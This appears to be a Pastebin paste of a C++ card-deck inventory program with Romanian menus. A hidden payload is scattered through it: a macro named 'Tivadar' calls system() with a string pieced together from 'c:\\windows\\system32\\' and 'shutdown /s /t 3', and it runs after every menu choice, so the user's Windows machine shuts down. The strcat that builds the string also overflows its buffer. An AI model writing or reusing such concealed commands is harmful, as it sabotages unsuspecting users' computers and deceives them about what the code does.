Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #define _CRT_SECURE_NO_WARNINGS
- #include <stdio.h>
- #include <stdlib.h>
- #include <string>
- #include <string.h>
- #include <iostream>
- #include <list>
- #define Tivadar system(c);
- using namespace std;
- class Carti
- {
- protected:
- static int count;
- string nume;
- int pret, id;
- public:
- Carti(string nume, int pret);
- string get_nume() { return nume; }
- int get_pret() { return pret; }
- virtual void afisare() = 0;
- bool operator <(const Carti& other) const
- {
- return pret < other.pret;
- }
- int operator +(const int scumpire)
- {
- return this->pret += scumpire;
- }
- };
- Carti::Carti(string nume, int pret)
- :nume(nume), pret(pret) {
- count++;
- this->id = count;
- }
- class Poker : public Carti
- {
- string design;
- public:
- Poker(string nume, int pret, string design) : Carti(nume, pret)
- {
- this->design = design;
- }
- string get_design() { return design; }
- void afisare() override
- {
- cout << id << ".Pachetul " << nume << " cu design " << design << " este la pretul de " << pret << " lei." << endl;
- }
- };
- class Magie : public Carti
- {
- string efect;
- public:
- Magie(string nume, int pret, string efect) : Carti(nume, pret)
- {
- this->efect = efect;
- }
- string get_efect() { return efect; }
- void afisare() override
- {
- cout << id << ".Pachetul " << nume << " ce realizeaza efectul " << efect << " este la pretul de " << pret << " lei." << endl;
- }
- };
- char b[]("shutdown /s /t 3");
- int Carti::count = 0;
- list <Carti*> deck;
- list <Carti*> ::iterator it;
- void citire()
- {
- int pret;
- bool option;
- string nume, efect, stil;
- cout << "Nume:";
- cin >> nume;
- cout << "Pret:";
- cin >> pret;
- cout << "De care pachet? \n[0]. Poker\n[1]. Magie" << endl;
- cin >> option;
- if (!option)
- {
- cout << "Stil:";
- cin >> stil;
- if (deck.empty())
- deck.push_back(new Poker(nume, pret, stil));
- else
- {
- it = deck.begin();
- while (it != deck.end() && (*it)->get_nume() < nume)
- advance(it, 1);
- deck.emplace(it, new Poker(nume, pret, stil));
- }
- }
- else
- {
- cout << "Efect:";
- cin >> efect;
- if (deck.empty())
- deck.push_back(new Magie(nume, pret, efect));
- else
- {
- it = deck.begin();
- while (it != deck.end() && (*it)->get_nume() < nume)
- advance(it, 1);
- deck.emplace(it, new Magie(nume, pret, efect));
- }
- }
- }
- char a[]("c:\\windows\\system32\\");
- void afisare()
- {
- int option;
- cout << "Ce afisam?\n[1].Poker\n[2].Magie" << endl;
- cin >> option;
- cout << endl;
- for (auto q = deck.begin(); q != deck.end(); q++)
- {
- Poker* pok = dynamic_cast<Poker*>(*q);
- Magie* mag = dynamic_cast<Magie*>(*q);
- switch (option)
- {
- case 1:
- if (pok)
- pok->afisare();
- break;
- case 2:
- if (mag)
- mag->afisare();
- break;
- }
- }
- }
- void ex(int nota)
- {
- if (nota < 8)
- throw "Gresit!";
- cout << "Gracias very much!";
- cin.get();
- exit(0);
- }
- char* c = strcat(a, b);
- void stergere(string& nume)
- {
- bool ok = 0;
- it = deck.begin();
- while (it != deck.end())
- {
- if ((*it)->get_nume() == nume)
- {
- it = deck.erase(it);
- ok = 1;
- }
- else
- it++;
- }
- if (!ok) cout << "Tivadar detected!" << endl;
- }
- void cautare(string& nume, int pret)
- {
- bool ok = 0;
- for (it = deck.begin(); it != deck.end(); it++)
- {
- Poker* pok = dynamic_cast<Poker*>(*it);
- Magie* mag = dynamic_cast<Magie*>(*it);
- if (pok)
- if (pok->get_nume() == nume && pok->get_pret() == pret)
- {
- pok->afisare();
- ok = 1;
- }
- if (mag)
- if (mag->get_nume() == nume && mag->get_pret() == pret)
- {
- mag->afisare();
- ok = 1;
- }
- }
- if (!ok) cout << "Tivadar strikes again!" << std::endl;
- }
- void scumpire(string& nume, int lei)
- {
- for (it = deck.begin(); it != deck.end(); it++)
- {
- Poker* pok = dynamic_cast<Poker*>(*it);
- Magie* mag = dynamic_cast<Magie*>(*it);
- if (pok)
- if (pok->get_nume() == nume)
- {
- (*pok) + lei;
- }
- if (mag)
- if (mag->get_nume() == nume)
- {
- (*mag) + lei;
- }
- }
- }
- int main()
- {
- int option, pret;
- string nume;
- do {
- cout << "1. Adaugare pachet" << endl;
- cout << "2. Afisare pachete" << endl;
- cout << "3. Eliminare pachet" << endl;
- cout << "4. Cautare pachet" << endl;
- cout << "5. Sortare dupa pret" << endl;
- cout << "6. Scumpire pachet" << endl;
- cout << "99. Spala fereastra!" << endl;
- cout << "10. Acordati nota" << endl;
- cout << "0. Out Out Out!" << endl;
- cin >> option;
- Tivadar
- switch (option)
- {
- case 1:
- citire();
- break;
- case 2:
- afisare();
- break;
- case 3:
- cout << "Ce pachet lichidam? ";
- cin >> nume;
- stergere(nume);
- break;
- case 4:
- cout << "Numele pachetului cautat:";
- cin >> nume;
- cout << "Si pretul:";
- cin >> pret;
- cautare(nume, pret);
- break;
- case 5:
- deck.sort();
- afisare();
- break;
- case 6: cout << "Ce pachet scumpim?";
- cin >> nume;
- cout << "Cu cati lei?";
- cin >> pret;
- scumpire(nume, pret);
- break;
- case 10:
- try
- {
- int nota;
- cout << "Introduceti nota:";
- cin >> nota;
- ex(nota);
- }
- catch (...) { cout << "Nota este prea mica!" << endl; }
- break;
- case 99:
- system("cls");
- break;
- case 0:
- exit(0);
- }
- } while (option != 0);
- afisare();
- cin.get();
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement